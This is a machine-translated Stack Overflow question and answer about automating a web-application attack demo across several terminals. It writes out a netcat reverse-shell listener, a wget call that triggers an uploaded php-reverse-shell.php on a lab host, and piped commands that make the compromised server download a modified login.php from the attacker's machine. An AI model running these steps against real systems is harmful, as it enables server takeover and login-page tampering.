美好的一天,好人!
我正在尝试编写一个脚本,让我能够展示用于攻击 Web 应用程序的 PoC,目前它需要我打开多个不同的进程和终端并在特定终端中执行命令,然后切换回其他终端。
我想要执行以下操作:
- 终端 0:
- 启动http服务器
> python -m SimpleHTTPServer 8081
- 启动终端 1:
- 启动 shell 监听器
> nc -v -n -l -p 8082
- 启动终端 2:
- 启动反向shell
> wget "172.16.0.XXX/upload/16/rs/rs.php"
- 航站楼 1(NC 内):
- 浏览目录
> cd var/www/users/
- 下载修改后的页面
> wget "10.13.37.128:8081/login.php"
- 星号航站楼 3:
- 打开 Firefox 并浏览至 172.16.0.180/users/login.php
& python -m SimpleHTTPServer 8081
& terminal -e nc -v -n -l -p 8082
wget "172.16.0.180/upload/16/rs/php-reverse-shell.php"
cd var/www/users #Problem is here, how do i switch back to the nc terminal?
wget "10.13.37.128:8081/login.php"
令我困惑的是当我需要时在特定终端之间切换。为此编写一个宏是否有意义,或者是否可以做到这一点?任何帮助将不胜感激!
最佳答案
启动各种终端的脚本怎么样?
gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'
对于“数控问题”,我建议一个简单的技巧:
(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082
关于linux - 如何自动化 bash 脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40887152/